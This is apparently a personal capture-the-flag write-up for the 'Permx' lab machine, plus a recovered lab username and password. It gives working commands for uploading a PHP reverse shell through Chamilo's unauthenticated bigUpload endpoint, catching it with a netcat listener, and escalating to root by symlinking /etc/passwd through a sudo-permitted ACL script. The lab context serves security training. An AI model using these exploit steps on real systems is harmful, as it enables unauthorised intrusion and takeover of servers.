credentials

Permx
my ip:10.10.14.8
target ip:10.10.11.23

login: mtz password: 03F6lY3uXAP2bkW8

report

Permx
my ip:10.10.14.8
target ip:10.10.11.23

we found a website with no vulnerability. We can try to find subdomain:

gobuster vhost -u http://permx.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain | grep 200

http://lms.permx.htb exist and it has a login page. We can see that its built with chamilo, which is apparently vulnerable to unauthenthicated rce.

First we need to create a php reverse shell and store it in a file. Than we can upload that file to the target:

curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

We setup a listening on our host:

nc -lnvp 1234

And lastly we request our uploaded php rev shell:

curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'

Now we are in ! Using linpeas, we quickly see that there is a hardcoded password in a config file. We can try this password with mtz.

login: mtz password: 03F6lY3uXAP2bkW8

We have the user flag.

Launching sudo -l give us the following:

Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh

acl.sh is a script that change the access right of a file in /home/mtz.

We can exploit this script by creating a symlink to etc/passwd:

ln -s /etc/passwd

And giving us writing access:

sudo /opt/acl.sh mtz rw /home/mtz/passwd

Now we just have to vim the file and edit our user like this to give us root perm:

mtz:x:0:0:root:/root:/bin/bash

su mtz to actualize right access.